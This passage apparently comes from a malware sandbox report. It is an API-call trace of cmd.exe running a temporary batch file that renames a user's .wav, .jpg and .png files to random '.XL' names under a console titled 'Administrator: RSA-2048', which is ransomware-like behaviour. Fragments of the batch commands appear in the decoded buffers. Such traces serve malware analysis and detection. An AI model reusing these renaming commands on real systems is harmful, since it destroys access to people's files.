lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.494] SetFilePointer (in: hFile=0x74, lDistanceToMove=5111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13f7 [0038.494] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n3 %RANDOM%.XL\r\n") returned 11 [0038.494] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.494] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f7 [0038.494] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.494] GetFileType (hFile=0x74) returned 0x1 [0038.494] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f7 [0038.494] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.495] SetFilePointer (in: hFile=0x74, lDistanceToMove=5113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13f9 [0038.495] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.495] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.495] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f9 [0038.495] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.495] GetFileType (hFile=0x74) returned 0x1 [0038.495] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f9 [0038.495] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.495] SetFilePointer (in: hFile=0x74, lDistanceToMove=5119, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ff [0038.495] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":wav\r\nock\r\n") returned 6 [0038.495] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.495] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ff [0038.495] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.495] GetFileType (hFile=0x74) returned 0x1 [0038.495] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ff [0038.495] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.495] SetFilePointer (in: hFile=0x74, lDistanceToMove=5121, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1401 [0038.496] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nav\r\n") returned 2 [0038.496] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1401 [0038.496] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.496] GetFileType (hFile=0x74) returned 0x1 [0038.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1401 [0038.496] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=5147, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x141b [0038.496] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.wav %RANDOM%.XL\r\n") returned 26 [0038.496] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x141b [0038.496] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.496] GetFileType (hFile=0x74) returned 0x1 [0038.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x141b [0038.496] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=5158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1426 [0038.496] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nv %RANDOM%.XL\r\n") returned 11 [0038.496] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1426 [0038.497] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.497] GetFileType (hFile=0x74) returned 0x1 [0038.497] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1426 [0038.497] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.497] SetFilePointer (in: hFile=0x74, lDistanceToMove=5160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1428 [0038.497] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.497] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.497] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1428 [0038.497] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.497] GetFileType (hFile=0x74) returned 0x1 [0038.497] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1428 [0038.497] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.497] SetFilePointer (in: hFile=0x74, lDistanceToMove=5166, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x142e [0038.497] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":jpg\r\nock\r\n") returned 6 [0038.497] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.497] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142e [0038.497] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.497] GetFileType (hFile=0x74) returned 0x1 [0038.497] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142e [0038.497] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.498] SetFilePointer (in: hFile=0x74, lDistanceToMove=5168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1430 [0038.498] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\npg\r\n") returned 2 [0038.498] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.498] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1430 [0038.498] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.498] GetFileType (hFile=0x74) returned 0x1 [0038.498] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1430 [0038.498] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.498] SetFilePointer (in: hFile=0x74, lDistanceToMove=5194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x144a [0038.498] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.jpg %RANDOM%.XL\r\n") returned 26 [0038.498] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.498] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144a [0038.498] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.498] GetFileType (hFile=0x74) returned 0x1 [0038.498] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144a [0038.498] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.498] SetFilePointer (in: hFile=0x74, lDistanceToMove=5205, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1455 [0038.498] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0038.498] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.498] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1455 [0038.498] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.498] GetFileType (hFile=0x74) returned 0x1 [0038.498] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1455 [0038.499] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.499] SetFilePointer (in: hFile=0x74, lDistanceToMove=5207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1457 [0038.499] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.499] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.499] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1457 [0038.499] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.499] GetFileType (hFile=0x74) returned 0x1 [0038.499] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1457 [0038.499] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.499] SetFilePointer (in: hFile=0x74, lDistanceToMove=5213, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x145d [0038.499] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":png\r\nock\r\n") returned 6 [0038.499] _close (_FileHandle=3) returned 0 [0038.499] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.499] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.499] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.500] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.500] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.500] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.500] SetConsoleInputExeNameW () returned 0x1 [0038.500] GetConsoleOutputCP () returned 0x1b5 [0038.500] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.500] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.500] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.500] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.500] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.500] SetFilePointer (in: hFile=0x74, lDistanceToMove=5213, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x145d [0038.501] GetProcessHeap () returned 0x4e0000 [0038.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0038.501] GetProcessHeap () returned 0x4e0000 [0038.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5940 | out: hHeap=0x4e0000) returned 1 [0038.501] GetProcessHeap () returned 0x4e0000 [0038.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.501] GetProcessHeap () returned 0x4e0000 [0038.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.501] GetProcessHeap () returned 0x4e0000 [0038.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.501] GetProcessHeap () returned 0x4e0000 [0038.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.501] GetProcessHeap () returned 0x4e0000 [0038.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.501] GetProcessHeap () returned 0x4e0000 [0038.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.501] GetProcessHeap () returned 0x4e0000 [0038.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.501] GetProcessHeap () returned 0x4e0000 [0038.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.501] GetProcessHeap () returned 0x4e0000 [0038.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.501] GetProcessHeap () returned 0x4e0000 [0038.501] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.501] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.501] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145d [0038.501] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x11d0, lpOverlapped=0x0) returned 1 [0038.501] SetFilePointer (in: hFile=0x74, lDistanceToMove=5215, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x145f [0038.502] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.png goto png\r\n\r\n") returned 2 [0038.502] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.502] GetFileType (hFile=0x74) returned 0x1 [0038.502] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.502] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145f [0038.502] GetProcessHeap () returned 0x4e0000 [0038.502] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.502] GetProcessHeap () returned 0x4e0000 [0038.502] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.502] _tell (_FileHandle=3) returned 5215 [0038.502] _close (_FileHandle=3) returned 0 [0038.502] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.502] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.502] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.502] SetFilePointer (in: hFile=0x74, lDistanceToMove=5215, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x145f [0038.502] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.502] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145f [0038.503] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x11ce, lpOverlapped=0x0) returned 1 [0038.503] SetFilePointer (in: hFile=0x74, lDistanceToMove=5241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1479 [0038.503] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="RENAME *.png %RANDOM%.XL\r\n\n") returned 26 [0038.503] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.503] GetFileType (hFile=0x74) returned 0x1 [0038.503] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.503] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1479 [0038.503] GetProcessHeap () returned 0x4e0000 [0038.503] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.503] GetProcessHeap () returned 0x4e0000 [0038.503] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x4008) returned 0x5078b8 [0038.503] GetProcessHeap () returned 0x4e0000 [0038.503] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f5880 [0038.503] GetEnvironmentVariableW (in: lpName="RANDOM", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.503] _wcsicmp (_String1="RANDOM", _String2="CD") returned 15 [0038.503] _wcsicmp (_String1="RANDOM", _String2="ERRORLEVEL") returned 13 [0038.503] _wcsicmp (_String1="RANDOM", _String2="CMDEXTVERSION") returned 15 [0038.503] _wcsicmp (_String1="RANDOM", _String2="CMDCMDLINE") returned 15 [0038.503] _wcsicmp (_String1="RANDOM", _String2="DATE") returned 14 [0038.504] _wcsicmp (_String1="RANDOM", _String2="TIME") returned -2 [0038.504] _wcsicmp (_String1="RANDOM", _String2="RANDOM") returned 0 [0038.504] rand () returned 1037 [0038.504] _vsnwprintf (in: _Buffer=0x4a610640, _BufferCount=0x1fff, _Format="%d", _ArgList=0x41f464 | out: _Buffer="1037") returned 4 [0038.504] GetProcessHeap () returned 0x4e0000 [0038.504] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.504] GetProcessHeap () returned 0x4e0000 [0038.504] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5078b8 | out: hHeap=0x4e0000) returned 1 [0038.504] GetProcessHeap () returned 0x4e0000 [0038.504] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.504] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.504] GetProcessHeap () returned 0x4e0000 [0038.504] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f5880 [0038.504] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x26) returned 0x4f6080 [0038.504] _tell (_FileHandle=3) returned 5241 [0038.504] _close (_FileHandle=3) returned 0 [0038.505] _wcsicmp (_String1="RENAME", _String2="DIR") returned 14 [0038.505] _wcsicmp (_String1="RENAME", _String2="ERASE") returned 13 [0038.505] _wcsicmp (_String1="RENAME", _String2="DEL") returned 14 [0038.505] _wcsicmp (_String1="RENAME", _String2="TYPE") returned -2 [0038.505] _wcsicmp (_String1="RENAME", _String2="COPY") returned 15 [0038.505] _wcsicmp (_String1="RENAME", _String2="CD") returned 15 [0038.505] _wcsicmp (_String1="RENAME", _String2="CHDIR") returned 15 [0038.505] _wcsicmp (_String1="RENAME", _String2="RENAME") returned 0 [0038.505] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0038.505] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x44) returned 0x4f4a98 [0038.505] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4a98, Size=0x26) returned 0x4f4a98 [0038.505] GetProcessHeap () returned 0x4e0000 [0038.505] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x26 [0038.505] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x34) returned 0x4f4ac8 [0038.505] GetProcessHeap () returned 0x4e0000 [0038.505] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x44) returned 0x4f4b08 [0038.505] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4b08, Size=0x26) returned 0x4f4b08 [0038.505] GetProcessHeap () returned 0x4e0000 [0038.505] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b08) returned 0x26 [0038.505] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x2c) returned 0x4f4b38 [0038.505] GetProcessHeap () returned 0x4e0000 [0038.505] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f6868 [0038.505] _wcsicmp (_String1="*.png", _String2=".") returned -4 [0038.506] _wcsicmp (_String1="*.png", _String2="..") returned -4 [0038.506] GetFileAttributesW (lpFileName="*.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.png")) returned 0xffffffff [0038.506] GetLastError () returned 0x7b [0038.506] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x4f6ac8 [0038.506] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4f6ad0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.506] GetFullPathNameW (in: lpFileName="*.png", nBufferLength=0x104, lpBuffer=0x41e868, lpFilePart=0x41e850 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", lpFilePart=0x41e850*="*.png") returned 0x2b [0038.506] SetErrorMode (uMode=0x0) returned 0x1 [0038.506] GetProcessHeap () returned 0x4e0000 [0038.506] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f6ce0 [0038.506] _wcsicmp (_String1="*.png", _String2=".") returned -4 [0038.506] _wcsicmp (_String1="*.png", _String2="..") returned -4 [0038.506] GetFileAttributesW (lpFileName="*.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.png")) returned 0xffffffff [0038.506] GetLastError () returned 0x7b [0038.506] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", fInfoLevelId=0x1, lpFindFileData=0x4f6870, fSearchOp=0x0, 